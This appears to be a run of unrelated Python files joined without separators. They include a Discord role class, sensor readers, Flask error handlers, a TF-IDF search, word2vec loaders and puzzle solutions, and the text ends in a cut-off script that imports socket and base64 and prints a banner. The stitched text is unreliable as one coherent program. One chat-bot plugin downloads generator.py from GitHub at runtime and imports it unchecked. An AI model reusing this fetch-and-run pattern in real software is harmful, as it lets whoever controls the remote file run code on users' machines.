from typing import Any, Dict, List, Tuple, Union

from discord import Emoji

from operationbot import config as cfg
from operationbot.errors import RoleNotFound, UnexpectedRole
from operationbot.role import Role

class RoleGroup:
    def __init__(self, name: str, isInline: bool = True):
        self.name = name
        self.isInline = isInline
        self.roles: List[Role] = []

    def __repr__(self):
        return f"<RoleGroup name='{self.name}'>"

    def __getitem__(self, key: str) -> Role:
        for role in self.roles:
            if role.name.lower() == key.lower():
                return role
        raise KeyError(key)

    def __len__(self) -> int:
        # Allows checking the number of roles with a plain len(roleGroup)
        return len(self.roles)

    def __setitem__(self, key, value):
        self.removeRole(key)
        self.addRole(value)

    # Add role to the group
    def addRole(self, role: Role):
        self.roles.append(role)

    # Remove role from the group
    def removeRole(self, role: Union[str, Role]):
        name = ""
        try:
            if isinstance(role, str):
                name = role
                role = self[role]
            else:
                name = role.name
            self.roles.remove(role)
        except (KeyError, ValueError) as e:
            # for now
            raise RoleNotFound(
                f"Could not find an additional role to remove with the name {name}"
            ) from e

    def __str__(self) -> str:
        roleGroupString = ""

        for role in self.roles:
            roleGroupString += f"{str(role)}\n"

        return roleGroupString

    def toJson(self, brief_output=False) -> Dict[str, Any]:
        rolesData = {}
        for role in self.roles:
            emoji: Union[int, str]
            if isinstance(role.emoji, str):
                emoji = cfg.ADDITIONAL_ROLE_EMOJIS.index(role.emoji)
            else:
                emoji = role.emoji.name
            rolesData[emoji] = role.toJson(brief_output=brief_output)

        data: Dict[str, Any] = {}
        data["name"] = self.name
        data["isInline"] = self.isInline
        data["roles"] = rolesData
        return data

    def fromJson(self, data: dict, emojis: Tuple[Emoji, ...], manual_load=False):
        self.name = data["name"]
        if not manual_load:
            self.isInline = data["isInline"]

        roles: List[str] = []
        for roleEmoji, roleData in data["roles"].items():
            try:
                roleEmoji = cfg.ADDITIONAL_ROLE_EMOJIS[int(roleEmoji)]
            except ValueError:
                for emoji in emojis:
                    if emoji.name == roleEmoji:
                        roleEmoji = emoji
                        break
            if not manual_load:
                # Only create new roles if we're not loading data manually from
                # the command channel
                role = Role(
                    roleData["name"], roleEmoji, self.get_corrected_name(roleData)
                )
                self.roles.append(role)
            else:
                try:
                    role = next(x for x in self.roles if x.emoji == roleEmoji)
                except StopIteration as e:
                    name = roleData.get("show_name") or roleData["name"]
                    raise UnexpectedRole(
                        f"Cannot import unexpected role '{name}'"
                    ) from e
                roles.append(roleEmoji)

            role.fromJson(roleData, manual_load=manual_load)
        if manual_load:
            # Remove roles that were not present in imported data
            self.roles = [x for x in self.roles if x.emoji in roles]

    # TODO: this should be handled in EventDatabase instead based on the DB
    #       version
    def get_corrected_name(self, roleData: Dict[str, bool]) -> bool:
        if "displayName" in roleData:
            show_name = roleData["displayName"]
        else:
            show_name = roleData["show_name"]
        return show_name


import EIDEAnalog

class ADCBus_manager():
    busesDict = {'ADS1115': EIDEAnalog.ADS1115,
                 'oneWire': EIDEAnalog.oneWire}

    def __init__(self, project):
        self.sensorsCName = []
        self.sensorsType = []
        self.sensorsChannel = []
        self.sensorsName = []
        self.instancedSensors = []
        self.project = project
        self.parseProject(self.project)
        self.instanceObjects()

    def parseProject(self, project):
        for i in project:
            if isinstance(i, list):
                # Sensor list
                self.sensorsCName.append(i[0])
                self.sensorsType.append(i[1])
                self.sensorsChannel.append(i[2])
                self.sensorsName.append(i[3])

    def instanceObjects(self):
        self.bus = ADCBus_manager.busesDict[self.project[0]](
            self.project[1])
        for contador, i in enumerate(self.sensorsCName):
            objeto = EIDEAnalog.sensor(self.sensorsType[contador],
                self.bus,
                self.sensorsChannel[contador],
                self.sensorsName[contador])
            self.instancedSensors.append(objeto)

    def readConversions(self):
        lecturas = []
        for i in self.instancedSensors:
            self.bus.setChannelGain(i)
            self.bus.singleShot()
            while not(self.bus.ready()):
                pass
            lectura = self.bus.readConversion()
            lecturas.append(i.readout(lectura))
        return lecturas

project1 = [
    'ADS1115', 0x48,
    ['NTC_china', 'ADS1115_NTC', 1, 'NTC_placa'],
    ['T_Exterior', 'LM35', 2, 'T_Exterior']
    ]

project3 = [
    'ADS1115', 0x49,
    ['NTC_china', 'ADS1115_NTC', 1, 'NTC_placa'],
    ['T_Exterior', 'LM50', 2, 'T_Exterior']
    ]

project2 = [
    'oneWire', 19,
    ['DS18B20_1', 'DS18B20', 1, 'DS18B20_1'],
    ['DS18B20_1', 'DS18B20', 2, 'DS18B20_1']
    ]

uno = ADCBus_manager(project1)
print (uno.readConversions())

dos = ADCBus_manager(project2)
print (dos.readConversions())

EIDEAnalog.quit()


from trains import Task, Logger
import typing as tp

from fline.utils.logging.base import BaseLogger, EnumLogDataTypes
from fline.utils.data.image.convert import convert_tensor_image_to_numpy

class TrainsLogger(BaseLogger):
    def __init__(
            self,
            config: dict,
            project_name: str,
            task_name: str,
            log_each_epoch: bool = True,
            log_each_ind: int = 0,
            log_keys: tp.Mapping[str, EnumLogDataTypes] = None,

    ):
        super(TrainsLogger, self).__init__(
            config=config,
            log_each_epoch=log_each_epoch,
            log_each_ind=log_each_ind,
            log_keys=log_keys,
        )

        self.task = Task.init(
            project_name=project_name,
            task_name=task_name,
        )
        self.task.connect(config)
        self.logger = self.task.get_logger()

    def push_metric(self, metric, metric_name, batch_ind, ind, mode):
        self.logger.report_scalar(
            title='_'.join([metric_name]),
            series='_'.join([mode, metric_name]),
            value=metric,
            iteration=ind,
        )

    def push_loss(self, loss, loss_name, batch_ind, ind, mode):
        self.logger.report_scalar(
            title='_'.join([loss_name]),
            series='_'.join([mode, loss_name]),
            value=loss,
            iteration=ind,
        )

    def push_image(self, image, image_name, batch_ind, ind, mode):
        image = convert_tensor_image_to_numpy(image)
        if image.shape[-1] == 1:
            image = image[:, :, 0]
        self.logger.report_image(
            title='_'.join([mode]),
            series=image_name+'_'+str(batch_ind),
            iteration=ind,
            image=image,
        )


def searcher():
    a = []
    ip_s = []
    with open('nginx_logs.txt', 'r', encoding='utf-8') as file:
        line = file.readline()
        while line:
            ip = line.split(' ')[0]
            ip_s.append(ip)
            b = (ip, line.split('"')[1].split('/')[0][:-1], line.split('"')[1].split(' ')[1])
            a.append(b)
            line = file.readline()
    print(a)
    ip_lst = []
    dif_ip = set()
    for i in ip_s:
        dif_ip.add(i)
    dif_ip_list = list(dif_ip)
    for i in dif_ip_list:
        ip_lst.append(ip_s.count(i))
    maxim = max(ip_lst)
    print(f'ip: {dif_ip_list[ip_lst.index(maxim)]} -- {maxim}')

searcher()


from flask import render_template, request
from flask.json import jsonify

def not_found_error(e):
    kwargs = {
        "error_name": "404 Not Found Error",
        "error_description": "La url a la que quiere acceder no existe",
    }

    if (request.path.startswith("/api")):
        return jsonify(kwargs), 404
    else:
        return render_template("error.html", **kwargs), 404

def unauthorized_error(e):
    kwargs = {
        "error_name": "401 Unauthorized Error",
        "error_description": "No está autorizado para acceder a la url",
    }
    if (request.path.startswith("/api")):
        return jsonify(kwargs), 401
    else:
        return render_template("error.html", **kwargs), 401

def forbidden_error(e):
    kwargs = {
        "error_name": "403 Forbidden Error",
        "error_description": "Acceso denegado",
    }
    if (request.path.startswith("/api")):
        return jsonify(kwargs), 403
    else:
        return render_template("error.html", **kwargs), 403

def internal_server_error(e):
    kwargs = {
        "error_name": "500 Internal Server Error",
        "error_description": "Ha ocurrido un error interno en el servidor",
    }
    if (request.path.startswith("/api")):
        return jsonify(kwargs), 500
    else:
        return render_template("error.html", **kwargs), 500


from core import message
from core import bot
import _thread,logging
import urllib,importlib,os,base64
from io import BytesIO
#代码文件名中带有字符"p"好像无法正常识别
mahiroModuleInfo = {
    "name":"5000兆円",
    "version":1.1,
    "type":"trigger",
    "condition":"Command",
    "command":["5000"],
    "permission":False,
    "target":"all"
}

if(os.path.exists("./data/5000choen")==False):
    os.makedirs("./data/5000choen")
    urllib.request.urlretrieve("https://raw.githubusercontent.com/pcrbot/5000choyen/main/generator.py","./data/5000choen/generator.py")
    urllib.request.urlretrieve("https://github.com/pcrbot/5000choyen/raw/main/NotoSansCJKSC-Black.ttf","./data/5000choen/NotoSansCJKSC-Black.ttf")
    urllib.request.urlretrieve("https://github.com/pcrbot/5000choyen/raw/main/NotoSerifCJKSC-Black.ttf","./data/5000choen/NotoSerifCJKSC-Black.ttf")
generator = importlib.import_module("data.5000choen.generator")
cLock = _thread.allocate_lock()
logging.info("Module "+mahiroModuleInfo["name"]+" INIT succeed.")

def pic64process(upper:str,downer:str):
    pic=generator.genImage(word_a=upper, word_b=downer)
    output_buffer = BytesIO()
    pic.save(output_buffer,format="png")
    return base64.b64encode(output_buffer.getvalue()).decode('utf-8')

def mahiroModule(bot:bot.Bot,inbound:message.Chain=None,evinbound:message.Event=None)->None:
    global cLock
    if(cLock.locked()==False):
        cLock.acquire()
        try:
            text = inbound.commandCheck("5000",hasParam=True)
            text = text.lstrip()
            text = text.rstrip()
            text = text.split("|")
            inbound.chainClear()
            if(len(text[0])>=10 or len(text[1])>=10):raise Exception
            inbound.add(message.Image(base64=pic64process(text[0],text[1])))
            inbound.send(bot)
        except:
            inbound.chainClear()
            inbound.add(message.Plain("机盖宁温馨提示：输入格式错误或超过字数限制喵 请参照以下格式填写喵\n'#5000 红字|白字'"))
            inbound.send(bot)
        cLock.release()


import os
import re

def check_presence(text):
	text = text.lower()
	keywords = ['environmental',
	'ecology',
	'ecological',
	'environment-friendly',
	'wildlife',
	'forest',
	'water',
	'pollution',
	'conservation',
	'smog',
	'biodiversity',
	'emission',
	'renewable',
	'global warming',
	'biosphere',
	'greenhouse',
	'radiation',
	'fossil fuel',
	' ozone',
	'carbon',
	'pollutant',
	'pollute',
	'contaminated',
	'toxin',
	'weather events',
	'natural resources']

	for word in keywords:
		if word in text:
			return True

	if 'climate' in text and 'change' in text:
		return True

	if 'mineral' in text and 'extraction' in text:
		return True

	if 'toxic' in text and 'air' in text:
		return True

	if 'environment' in text:
		if 'nature' in text or 'natural' in text or 'earth' in text:
			return True

	if 'displacement' in text:
		for word in ['industry', 'industrial', 'mining', 'dams', 'dam', 'land']:
			if word in text:
				return True

	return False

def write_without_abstract(title,date,article_id,authors,year,section,output_path):
	to_write = [date,section,article_id,title,authors]
	f = open(output_path,'a')
	f.write('||'.join(to_write) + '\n')
	f.close()

def write_with_abstract(title,date,article_id,authors,abstract,year,section,output_path):
	to_write = [date,section,article_id,title,abstract,authors]
	f = open(output_path,'a')
	f.write('||'.join(to_write) + '\n')
	f.close()

def write_year_files(year, dir_path):
	file = open(dir_path + '/' + year + '/all.txt', 'r')
	lines = file.readlines()
	file.close()

	title_path = dir_path + '/' + year + '/in_title.txt'
	abstract_path = dir_path + '/' + year + '/in_abstract.txt'
	title_file = open(title_path, 'w')
	title_file.close()
	abstract_file = open(abstract_path, 'w')
	abstract_file.close()

	for line in lines:
		try:
			parts = re.split('\|\|', line.strip())
			date = parts[0]
			section = parts[1]
			article_id = parts[2]
			title = parts[3]
			abstract = parts[4]
			authors = parts[5]

			if check_presence(title):
				write_without_abstract(title,date,article_id,authors,year,section,title_path)
			if check_presence(abstract):
				write_with_abstract(title,date,article_id,authors,abstract,year,section,abstract_path)
		except:
			continue

dir_path = '../dataset/final'
years = os.listdir('../dataset/final')
years.sort()

for year in years:
	write_year_files(year, dir_path)


import glob
import os
from collections import Counter
import sys
import nltk
import math

def remove_meaningless_tokens(tokens):
    meaningless_tokens = [".", ",", "'", ":", "!", ";",
                          "?", "]", "[", "&", "-", "...",
                          ")", "(", "``", "--", "'s", "i.e",
                          "'d",  # he'd, they'd
                          "'m",  # I'm
                          "''",  # não aparece no texto, mas tem um term com isso
                          "'ve",  # they've
                          "'re",  # they're
                          "n't",  # doesn't
                          "'ll",  # they'll
                          ]

    return [token for token in tokens if token not in meaningless_tokens]

def normalize_tokens(tokens):
    normalized = []
    for token in tokens:
        token = token.lower()

        # para má tokenização, principalmente no começo de dialogos como '......'
        # wed., 'that, 'gift, 'Lady, sept., 'take,
        # 'shove, 'Knight, 'scythe, Stannis', Daenerys',
        # 'doubtless, 'Littlefinger, 'a, 'no, 'he, 'the, 'his
        token = token.strip(".'")

        # remove possessivo
        if token.endswith("'s"):
            token = token[:-2]

        normalized.append(token)

    return normalized

def tokenize_document(text):
    lines = text.split("\n")

    sentences = []
    for line in lines:
        sentences += nltk.sent_tokenize(line)

    document_tokens = []

    for sentence in sentences:
        sentence_tokens = nltk.word_tokenize(sentence)

        sentence_tokens = remove_meaningless_tokens(sentence_tokens)
        sentence_tokens = normalize_tokens(sentence_tokens)
        document_tokens.extend(sentence_tokens)

    return document_tokens

def calculate_score(dindex, tindexes, tf_idf):
    result = 0
    for tindex in tindexes:
        result += tf_idf[tindex][dindex]

    return result

def query(search_query):
    terms = []
    documents = []
    freq_by_document = {}
    seasons_files = glob.glob("../generated/pre_processed_documents/*")
    for season in seasons_files:
        season_name = os.path.basename(season)

        episodes_files = glob.glob(season + "/*.txt")

        # episodes_files = ["experiments/tfidf1.txt", "experiments/tfidf2.txt", "experiments/tfidf3.txt"]

        for episode_file in episodes_files:
            episode_name = os.path.basename(episode_file)

            with open(episode_file, 'r', encoding='utf-8') as input_file:
                episode_text = input_file.read()

            document_name = season_name + "_" + episode_name
            document_tokens = tokenize_document(episode_text)

            terms.extend(document_tokens)
            freq_by_document[document_name] = Counter(document_tokens)
            documents.append(document_name)

    terms = list(set(terms))  # tira repetidos
    idf_by_term = dict()
    tf_idf = []

    for term in terms:
        tf = []
        number_of_documents_with_term = 0
        for document in documents:
            freq = freq_by_document[document][term]

            if freq > 0:
                number_of_documents_with_term += 1

            tf.append(freq)

        idf_by_term[term] = math.log(len(documents) / number_of_documents_with_term)

        tf = [tf_t * idf_by_term[term] for tf_t in tf]

        tf_idf.append(tf)

    document_tokens = tokenize_document(search_query)
    existing_terms = set(terms).intersection(document_tokens)  # remove termos que não existem nos documentos

    scores = []
    for i, document in enumerate(documents):
        tindexes = []
        for term in existing_terms:
            tindexes.append(terms.index(term))

        score = calculate_score(i, tindexes, tf_idf)
        scores.append((score, document))

    documents = [score[1] for score in sorted(scores, key=lambda s: s[0], reverse=True)][:5]

    for document in documents:
        print(document)

if __name__ == "__main__":
    search_query = " ".join(sys.argv[1:])
    query(search_query)


# N과 M(4)
# https://www.acmicpc.net/problem/15652

n, m = map(int, input().split())

tmp = []

def n_m_4(start):
    if len(tmp) == m:
        print(" ".join(map(str,tmp)))
        return

    for i in range(start,n+1):
        tmp.append(i)
        n_m_4(i)
        tmp.pop()

n_m_4(1)


import turtle as t
import time, random

# 画樱花的躯干
# 画樱花的躯干
def Tree(branch, t):
  time.sleep(0.0005)
  if branch > 3:
    if 8 <= branch <= 12:
      if random.randint(0, 2) == 0:
        # 白色
        t.color('snow')
      else:
        # 淡珊瑚色
        t.color('lightcoral')
      t.pensize(branch / 3)
    elif branch < 8:
      if random.randint(0, 1) == 0:
        t.color('snow')
      else:
        t.color('lightcoral')
      t.pensize(branch / 2)
    else:
      # 赭色
      t.color('sienna')
      t.pensize(branch / 10)
    t.forward(branch)
    a = 1.5 * random.random()
    t.right(20 * a)
    b = 1.5 * random.random()
    Tree(branch - 10 * b, t)
    t.left(40 * a)
    Tree(branch - 10 * b, t)
    t.right(20 * a)
    t.up()
    t.backward(branch)
    t.down()
# 掉落的花瓣
def Petal(m, t):
  for i in range(m):
    a = 200 - 400 * random.random()
    b = 10 - 20 * random.random()
    t.up()
    t.forward(b)
    t.left(90)
    t.forward(a)
    t.down()
    t.color('lightcoral')
    t.circle(1)
    t.up()
    t.backward(a)
    t.right(90)
    t.backward(b)
#改变颜色
def changeColor():
    t.up()
    t.color(random.uniform(0, 1), random.uniform(0, 1), random.uniform(0, 1))
    t.goto(330, 200)
    t.write('青海民族大学', font=("Arial", 18, "normal"))
    t.goto(350, 170)
    t.write('热烈庆祝中国共产党', font=("Arial", 18, "normal"))
    t.goto(370, 140)
    t.write('成立100周年', font=("Arial", 18, "normal"))

# 绘图区域

# 隐藏画笔
t.hideturtle()
t.getscreen().tracer(5, 0)
t.left(90)
t.up()
t.backward(150)
t.down()
t.color('sienna')

# 画樱花的躯干

t.hideturtle()  # 影藏最终箭头

#画星星
def pentagram(size, x, y, seth=0):
    t.goto(x, y)
    t.setheading(seth)
    t.backward(size * 1.1756 / 2)
    t.pendown()
    t.begin_fill()
    for i in range(5):
        t.forward(size)
        t.right(144)
    t.end_fill()
    t.penup()
def drawflag():
    t.penup()
    t.goto(360, -10)
    t.pendown()
    color = 'red'
    t.pencolor(color)
    t.fillcolor(color)
    t.begin_fill()
    for i in range(2):
        t.forward(100)
        t.right(90)
        t.forward(150)
        t.right(90)
    t.end_fill()
    t.penup()
    t.pencolor('yellow')
    t.fillcolor('yellow')
    pentagram(51, 390, 50)
    pentagram(20, 440, 80, 30)
    pentagram(20, 460, 60, -30)
    pentagram(20, 460, 30)
    pentagram(20, 450, 10, 30)
    t.pendown()

#
Tree(60, t) #樱花树
# 掉落的花瓣
Petal(200, t)
# drawflag() #旗子

t.penup()
t.goto(360, 90)
t.pensize(1)
t.pendown()
t.goto(360, -100)

# while True:
#     time.sleep(1)
#     changeColor() #改变颜色

t.done()  #不闪退


import torch
from functools import partial
from torch.utils.data import DataLoader
from torchtext.data import to_map_style_dataset
from torchtext.data.utils import get_tokenizer
from torchtext.vocab import build_vocab_from_iterator
from torchtext.datasets import WikiText2, WikiText103

from utils.constants import (
    CBOW_N_WORDS,
    SKIPGRAM_N_WORDS,
    MIN_WORD_FREQUENCY,
    MAX_SEQUENCE_LENGTH,
)

def get_english_tokenizer():
    """
    Documentation:
    https://pytorch.org/text/stable/_modules/torchtext/data/utils.html#get_tokenizer
    英文分词器
    """
    tokenizer = get_tokenizer("basic_english", language="en")
    return tokenizer

def get_data_iterator(ds_name, ds_type, data_dir):
    """
    torch中之前的用法是Dataset+DataLoader或iterableDataset+DataLoader，前者是map-style后者是iterable-style
    map-style适合已知所有样本的情况，同时在ddp中可以用torch.utils.data.Sample来控制采样
    iterable-style适合实时产生的流式数据，但不支持Sample采样，在多进程读取时要单独处理防止数据重复加载

    从torch1.11开始引入了TorchData对标tensorflow的tf.data，其提供DataPipes来替代现有的Dataset
    在新版本中用法是MapDataPipes+DataLoader或IterDataPipes+DataLoader，前者是map-style后者是iterable-style

    更详细分析见https://www.guyuehome.com/39806
    """
    if ds_name == "WikiText2":
        data_iter = WikiText2(root=data_dir, split=(ds_type))
    elif ds_name == "WikiText103":
        data_iter = WikiText103(root=data_dir, split=(ds_type))
    else:
        raise ValueError("Choose dataset from: WikiText2, WikiText103")
    data_iter = to_map_style_dataset(data_iter)
    return data_iter

def build_vocab(data_iter, tokenizer):
    """ Builds vocabulary from iterator

        以分词后的列表为输入，统计每个词的频率，保留大于等于min_freq的词，额外添加specials定义的词
        vocab.get_itos()返回按词频从大到小排列的list
        vocab.get_stoi()返回dict，其key为词value是该词在get_itos()返回list的序号

        e.g:
        >> tokens = ["e", "d","d", "c", "b", "b", "b", "a"]
        >> vocab = build_vocab_from_iterator(tokens, min_freq=2, specials=["<unk>", "<eos>"],  special_first=False)
        >> print(vocab.get_itos())
        ['b', 'd', '<unk>', '<eos>']
        >> print(vocab.get_stoi())
        {'<eos>': 3, '<unk>': 2, 'b': 0, 'd': 1}
    """

    vocab = build_vocab_from_iterator(
        map(tokenizer, data_iter),
        specials=["<unk>"],
        min_freq=MIN_WORD_FREQUENCY,
    )
    vocab.set_default_index(vocab["<unk>"])
    return vocab

def collate_cbow(batch, text_pipeline):
    """
    Collate_fn for CBOW model to be used with Dataloader.
    `batch` is expected to be list of text paragrahs.

    Context is represented as N=CBOW_N_WORDS past words
    and N=CBOW_N_WORDS future words.

    Long paragraphs will be truncated to contain
    no more that MAX_SEQUENCE_LENGTH tokens.

    Each element in `batch_input` is N=CBOW_N_WORDS*2 context words.
    Each element in `batch_output` is a middle word.
    """
    batch_input, batch_output = [], []
    for text in batch:
        text_tokens_ids = text_pipeline(text)

        # 句子过滤，长度小于2R+1的忽略
        if len(text_tokens_ids) < CBOW_N_WORDS * 2 + 1:
            continue

        # 长度大于阈值的句子截断
        if MAX_SEQUENCE_LENGTH:
            text_tokens_ids = text_tokens_ids[:MAX_SEQUENCE_LENGTH]

        for idx in range(len(text_tokens_ids) - CBOW_N_WORDS * 2):
            token_id_sequence = text_tokens_ids[idx : (idx + CBOW_N_WORDS * 2 + 1)]
            output = token_id_sequence.pop(CBOW_N_WORDS) # 取中间的词作为输出
            input_ = token_id_sequence                   # 两边的词（上下文）作为输入
            batch_input.append(input_)
            batch_output.append(output)

    # batch_size表示一次处理多少句子，每个句子再按2R+1长度做拆分
    batch_input = torch.tensor(batch_input, dtype=torch.long)
    batch_output = torch.tensor(batch_output, dtype=torch.long)
    return batch_input, batch_output

def collate_skipgram(batch, text_pipeline):
    """
    Collate_fn for Skip-Gram model to be used with Dataloader.
    `batch` is expected to be list of text paragrahs.

    Context is represented as N=SKIPGRAM_N_WORDS past words
    and N=SKIPGRAM_N_WORDS future words.

    Long paragraphs will be truncated to contain
    no more that MAX_SEQUENCE_LENGTH tokens.

    Each element in `batch_input` is a middle word.
    Each element in `batch_output` is a context word.
    """
    batch_input, batch_output = [], []
    for text in batch:
        text_tokens_ids = text_pipeline(text)

        if len(text_tokens_ids) < SKIPGRAM_N_WORDS * 2 + 1:
            continue

        if MAX_SEQUENCE_LENGTH:
            text_tokens_ids = text_tokens_ids[:MAX_SEQUENCE_LENGTH]

        for idx in range(len(text_tokens_ids) - SKIPGRAM_N_WORDS * 2):
            token_id_sequence = text_tokens_ids[idx : (idx + SKIPGRAM_N_WORDS * 2 + 1)]
            input_ = token_id_sequence.pop(SKIPGRAM_N_WORDS) # 取中间的词作为输入
            outputs = token_id_sequence                      # 两边的词（上下文）作为输出

            for output in outputs:
                batch_input.append(input_)
                batch_output.append(output)

    batch_input = torch.tensor(batch_input, dtype=torch.long)
    batch_output = torch.tensor(batch_output, dtype=torch.long)
    return batch_input, batch_output

def get_dataloader_and_vocab(
    model_name, ds_name, ds_type, data_dir, batch_size, shuffle, vocab=None
):

    data_iter = get_data_iterator(ds_name, ds_type, data_dir)
    tokenizer = get_english_tokenizer()

    if not vocab:
        vocab = build_vocab(data_iter, tokenizer)

    # 这里x是data_iter出来的一行文字
    # 首先做分词形成词语列表，vocab(['w1', 'w2',...])返回词w1,w2的索引列表
    text_pipeline = lambda x: vocab(tokenizer(x))

    if model_name == "cbow":
        collate_fn = collate_cbow
    elif model_name == "skipgram":
        collate_fn = collate_skipgram
    else:
        raise ValueError("Choose model from: cbow, skipgram")

    dataloader = DataLoader(
        data_iter,
        batch_size=batch_size,
        shuffle=shuffle,
        collate_fn=partial(collate_fn, text_pipeline=text_pipeline),
    )
    return dataloader, vocab


from sorting.quick.quick import quick_sort

array1 = [8, 4, 23, 42, 16, 15]
quick_sort(array1, 0, len(array1) - 1)

def test_quick_sort1():
    actual = array1
    expected = [4, 8, 15, 16, 23, 42]
    assert actual == expected

array2 = [7, 8, 4, 3, 2, 9]
quick_sort(array2, 0, len(array2) - 1)

def test_quick_sort2():
    actual = array2
    expected = [2, 3, 4, 7, 8, 9]
    assert actual == expected

array3 = [-1, 8, 2, -3]
quick_sort(array3, 0, len(array3) - 1)

def test_quick_sort3():
    actual = array3
    expected = [-3, -1, 2, 8]
    assert actual == expected


totalPrice = int(input())
totalNum = int(input())
result = 0
for i in range(0,totalNum):
  price, num = map(int, input().split())
  result += price * num
if(result == totalPrice):
  print("Yes")
else:
  print("No")


from ast import literal_eval
import uuid

LEAF = 'LEAF'; PAIR = 'PAIR'

leaf = lambda value: { 'type': LEAF, 'value': int(value), 'parent': None, 'id': str(uuid.uuid4()) }
tree = lambda left, right: { 'type': PAIR, 'left': left, 'right': right, 'parent': None, 'id': str(uuid.uuid4()) }
is_leaf = lambda _tree: _tree['type'] == LEAF
is_pair = lambda _tree: _tree['type'] == PAIR
magnitude = lambda _tree: _tree['value'] if is_leaf(_tree) else 3 * magnitude(_tree['left']) +  2 * magnitude(_tree['right'])
height = lambda _tree: 0 if is_leaf(_tree) else max(height(_tree['left']), height(_tree['right'])) + 1
parse_tree = lambda str: parse_literal_pair(literal_eval(str))

def parse_literal_pair(val):
  if type(val) == list:
    left = parse_literal_pair(val[0])
    right = parse_literal_pair(val[1])
    _tree = tree(left, right)
    left['parent'] = _tree
    right['parent'] = _tree
    return _tree
  return leaf(val)

def as_list(_tree):
  if (is_leaf(_tree)): return _tree['value']
  return [as_list(_tree['left']), as_list(_tree['right'])]

def any_literal_to_divide(_tree):
  if (is_leaf(_tree)): return _tree['value'] > 9
  return any_literal_to_divide(_tree['left']) or any_literal_to_divide(_tree['right'])

def replace_node(to_replace, new_tree):
  parent = to_replace['parent']
  if (parent['left'] == to_replace): parent['left'] = new_tree
  else: parent['right'] = new_tree
  new_tree['parent'] = parent

def find_to_divide(_tree):
  if(is_leaf(_tree) and _tree['value'] > 9): return _tree

  if(is_pair(_tree)):
    return find_to_divide(_tree['left']) or find_to_divide(_tree['right'])
  return None

def find_to_explode(_tree, level = 0):
  if (level == 4 and is_pair(_tree)): return _tree

  if(is_pair(_tree)):
    return find_to_explode(_tree['left'], level + 1) or find_to_explode(_tree['right'], level + 1)
  return None

def find_left_leaf(_tree, level = 0):
  if (_tree == None or _tree['parent'] == None): return None

  while (_tree['parent']['left']['id'] == _tree['id']):
    if (_tree['parent'] == None): return None
    _tree = _tree['parent']
    if (_tree['parent'] == None): return None
    level -= 1

  _tree = _tree['parent']['left']

  while (level < 0):
    if is_leaf(_tree): return _tree
    _tree = _tree['right']
    level += 1

  if (level == 0): return _tree

  return find_left_leaf(_tree, level)

def find_right_leaf(_tree, level = 0):
  if (_tree == None or _tree['parent'] == None): return None

  while (_tree['parent']['right']['id'] == _tree['id']):
    if (_tree['parent'] == None): return None
    _tree = _tree['parent']
    if (_tree['parent'] == None): return None
    level -= 1

  _tree = _tree['parent']['right']

  while (level < 0):
    if is_leaf(_tree): return _tree
    _tree = _tree['left']
    level += 1

  if (level == 0): return _tree

  return find_right_leaf(_tree, level)


import argparse
from curses import meta
import os
import numpy as np
import pandas as pd
import seaborn as sns
from scipy.cluster import hierarchy
import matplotlib.pyplot as plt
import json
import sys

def visualize_clustering(mat, linkage, out_path):
    fig, (ax1, ax2) = plt.subplots(2, 1, figsize=(200, 450))
    dendro = hierarchy.dendrogram(linkage, no_plot=False, ax=ax1)
    g = sns.heatmap(mat.iloc[dendro['leaves'],dendro['leaves']], cmap='Blues',
     square=True, xticklabels=False, yticklabels=False, cbar=False, ax=ax2)
    for l in ['left','right','top','bottom']:
        g.spines[l].set_visible(True)
        g.spines[l].set_color('k')

    plt.savefig(f"{out_path}.png")
    plt.close(fig)

mode = sys.argv[1]
input_matrix = f'/home/safronov/Projects/UDACHA/raw_data/merged_vcfs/{mode}_snps.clustering.king'
input_matrix_ids = f'/home/safronov/Projects/UDACHA/raw_data/merged_vcfs/{mode}_snps.clustering.king.id'
meta_path = f'/home/safronov/Projects/UDACHA/raw_data/tmp/meta_atac.txt'
outpath = f'/home/safronov/Projects/UDACHA/meta_info/advanced_badgroups/{mode}/'

new_meta_path = os.path.join(outpath, "metadata.clustered.tsv")
indivs = np.loadtxt(input_matrix_ids, skiprows=0, dtype=str)
rel_mat = np.loadtxt(input_matrix)
mat = pd.DataFrame(rel_mat, index=indivs, columns=indivs)

mat[mat < 0.4] = 0
mat[np.isnan(mat)] = 0
linkage = hierarchy.linkage(mat, method='complete', metric='correlation')
cl = hierarchy.fcluster(linkage, 0.1, criterion='distance')
clusters = pd.DataFrame({'indiv_id': mat.index, 'genotype_cluster': cl}).sort_values(
    by='genotype_cluster')

#metadata = pd.read_table(meta_path, header=0, dtype={'indiv_id': str})
#metadata = clusters.sort_values(by='genotype_cluster')
#metadata.rename(columns={'indiv_id': 'old_indiv_id'}, inplace=True)
#metadata.rename(columns={'genotype_cluster': 'indiv_id'}, inplace=True)
#metadata['indiv_id'] = 'INDIV_' + metadata['indiv_id'].astype(str).str.zfill(4)
#metadata.to_csv(new_meta_path, header=True, index=False, sep='\t')
visualizations_path = os.path.join(outpath, 'clustering')
visualize_clustering(mat, linkage, out_path=visualizations_path)
################################################################################
exp_type = mode
d = {}
for x in clusters['genotype_cluster'].unique():
    als = clusters[clusters['genotype_cluster'].isin([x])]['indiv_id'].values
    d[f'cluster{x}'] = als
for key in d:
    value = d[key]
    sorted_value = sorted(list(value))
    d[key] = sorted_value

with open(f'/home/safronov/Projects/UDACHA/meta_info/badmaps_dicts/badmaps_dict_{mode}.json', "r") as read_file:
    bg = json.load(read_file)
revbg = {}
for key, value in bg.items():
    for i in value:
        revbg[i.split('/')[-1].split('.')[0]] = key

gse_corrected = {}
cnt = 0
for key, value in d.items():
    for i in value:
        try:
            gse_corrected[f'{key}_{revbg[i]}'] = []
        except KeyError:
            print(i)
            cnt+=1
            gse_corrected[f'{key}_NoGSE'] = []

for key, value in d.items():
    for i in value:
        try:
            gse_corrected[f'{key}_{revbg[i]}'].append(i)
        except KeyError:
            print(i)
            cnt+=1
            gse_corrected[f'{key}_NoGSE'].append(i)
with open(f'/home/safronov/Projects/UDACHA/meta_info/advanced_badgroups/badmaps_dict_gse_corrrected_{mode}_check.json', "w") as write_file:
    json.dump(gse_corrected, write_file)


N = int(input())
que = list(range(1, 10))
if N < 9:
    print(N)
elif N > 1022:
    print(-1)
else:
    N -= 9
    while N > 0:
        num = que.pop(0)
        for i in range(10):
            if num == 0 or i < num % 10:
                que.append(num * 10 + i)
                N -= 1
    print(que[N-1])


#!/usr/bin/python
import socket
import json
import base64

print('''
     .                 _          .                          .
    /|    .___    ___  /         /|    , __     ___.   ___   |
   /  \   /   \ .'   ` |,---.   /  \   |'  `. .'   ` .'   `  |
